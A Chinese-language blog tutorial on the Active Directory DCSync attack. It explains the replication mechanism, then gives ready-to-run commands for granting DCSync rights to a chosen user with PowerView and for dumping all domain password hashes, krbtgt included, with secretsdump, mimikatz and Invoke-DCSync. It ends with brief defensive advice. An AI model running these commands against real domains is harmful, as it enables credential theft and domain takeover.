滥用dcsync
在域中,不同的域控之间,默认每隔15min就会进行一次域数据同步。当一个额外的域控想从其他域控同步数据时,额外域控会像其他域控发起请求,请求同步数据。如果需要同步的数据比较多,则会重复上述过程。DCSync就是利用这个原理,通过目录复制服务(Directory Replication Service,DRS)的GetNCChanges接口像域控发起数据同步请求,以获得指定域控上的活动目录数据。目录复制服务也是一种用于在活动目录中复制和管理数据的RPC协议。该协议由两个RPC接口组成。分别是drsuapi和dsaop。
在DCSync功能出现以前,要想获得域用户的哈希数据等,需要登陆域控并在其上执行操作才能获得域用户数据。2015年8月,新版的mimikatz增加了DCSync功能,他有效的''模拟“了一个域控,并向目标域控请求账户哈希值等数据。该功能的最大特点是可以实现不登陆域控而获取目标域控上的数据。
注意:默认情况下,不允许从只读域控上获取数据,因为只读域控是不能复制同步数据给其他域控的。
dcsync的工作原理
1)在网络中发现域控
2)利用目录复制服务的GetNCChanges接口向域控发起数据同步的请求
下面来看看详细的工作过程:
当一个域控(我们称之为客户端)希望从另一个域控(我们称之为服务端)获得活动目录对象更新时,客户端域控会向服务端域控发起DRSGetNCChanes请求。该请求的响应包含一组客户端必须应用于其复制副本的更新。如果更新集太大,可能只有一条响应消息。在这种情况下,将完成多个DRSGetNCChanes请求和响应。这个过程被称为复制周期或简单的循环。
当服务端域控收到复制同步请求时,然后对执行复制的每个客户端域控来说,他会执行一个复制周期。这类似于客户端中使用的DRSGetNCChanes请求。
修改 DCSync ACL
到底是什么用户才具有运行DCSync 的权限呢?能不能通过修改普通用户的ACL使其获得DCSync的权限呢?带着这个疑问,我们往下看。
1、具有DCSync权限的用户
运行DCSync需要具有特殊的权限,默认情况下,只有以下组中的用户具有运行DCSync的权限
- Administrator 组内的用户
- Domain Admins 组内的用户
- Enterprise Admins 组内的用户
- 域控计算机账户
我们可以使用Adfind执行如下的命令查询域内具备具备DCSync权限的用户:
https://www.softpedia.com/get/Programming/Other-Programming-Files/AdFind.shtml 下载地址
0x02 常用命令
AdFind.exe -s subtree -b "DC=hack,DC=com" -sdna nTSecurityDescriptor -sddl+++ -sddlfilter ;;;"Replicating Directory Changes";; -recmute
(1) 图形化赋予指定用户的DCSync权限
打开“Active Directory 用户和计算机”——>"查看“——>"高级功能”,找到域 http://hack.com ,右击,选择“属性"选项,然后在弹出的对话框中单击"安全"选项卡的”高级“按钮,可以看到Domain Controlles具备"复制目录更改所有项的权限",这也就是为什么Domain Controlles具备 DCSync权限了。然后单击”添加" 按钮,"主体”选项选择需要赋予权限的用户,这里的选择用户 hack\jack,"应用于"选择“只是这个对象",如图所示
在”权限“下勾选”复制目录更改“和"复制目录更改所有项"复选框,如图所示,单机”确定“按钮就可以看到用户hack具有的权限了,如图所示:用户jack具有DCSync权限。
(2)Powershell脚本赋予指定用户DSCync权限
可以使用Empire下的PowerView.ps1脚本执行命令如下,赋予用户test DCSync权限。
Import-Module .\pwerview.ps1; Add-DomainObjectAcl -TargetIdentity 'DC=hack,DC=com' -PrincipalIde test -Rights DCSync -Verbose
DCSync攻击
如果拿到了具有DCSync权限的用户,就能利用DCSync功能从指定域控获得域内所有用户的凭据信息了。
用户jack当前以被赋予了DCSync权限,下面介绍利用不同工具进行DCSync攻击。
1.impacket
Impacket下的secretsdump.exe可以通过DCSync功能导出域用户的Hash,使用方法如下:
secretsdump.exe 域名/用户名:密码@ip -outputfile output_ntds
#获取用户krbtgt的hash
python3 secretsdump.py xie/hack:passwrod@#10.211.55.4 -just-dc-user krbtgt
#获取所有用户的hash
python3 secretsdump.py xie/hack:passwrod@10.211.55.4 -just-dc
2.imikatz
通过dcsync功能导出域用户hash
lsadump::dcsync /domain:xie.com /user:krbtgt
导出所有用户的hash
lsadump::dcsync /domain:xie.com /all /csv
3.powershell脚本
invoke-dcsync.ps1脚本可以通过该权限导出hash
import-module .\Invoke-DCSync.ps1
#导出所有用户的hash
Invoke-DCSync -DumpForest | ft -wrap -autosize
导出krbtgt的hash
Invoke-DCSync -DumpForest -User @("krbtgt") | ft -wrap -autosize
tip:有时候可以获得铭文的凭据,是因为账户勾选了“使用可逆加密存储密码” 再次更改密码会显示其明文密码
DCSync的防御
DCSync的原理在于模拟域控给其他域控发起同步数据请求,可以配置网络安全设备过滤流量并设置白名单,只允许制定白名单内的域控IP请求数据同步。
滥用监测,使用工具检测具有DCSync的用户有哪几个Execute-ACLight2.bat脚本进行检测,当前目录的results文件生成3个文件,其中Privileged Accounts LAYERS aNALYSIS.TXT 是我们主要看的结果文件。
利用powerView移除DCSync权限
Import-Module .\powerView.ps1
Remove-DomainObjectAcl -TargetIdentity "DC=xie,DC=com" -PrincipalIdentity hack -Rights DCSyn
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 地球OL攻略 —— 某应届生求职总结
· 周边上新:园子的第一款马克杯温暖上架
· Open-Sora 2.0 重磅开源!
· 提示词工程——AI应用必不可少的技术
· .NET周刊【3月第1期 2025-03-02】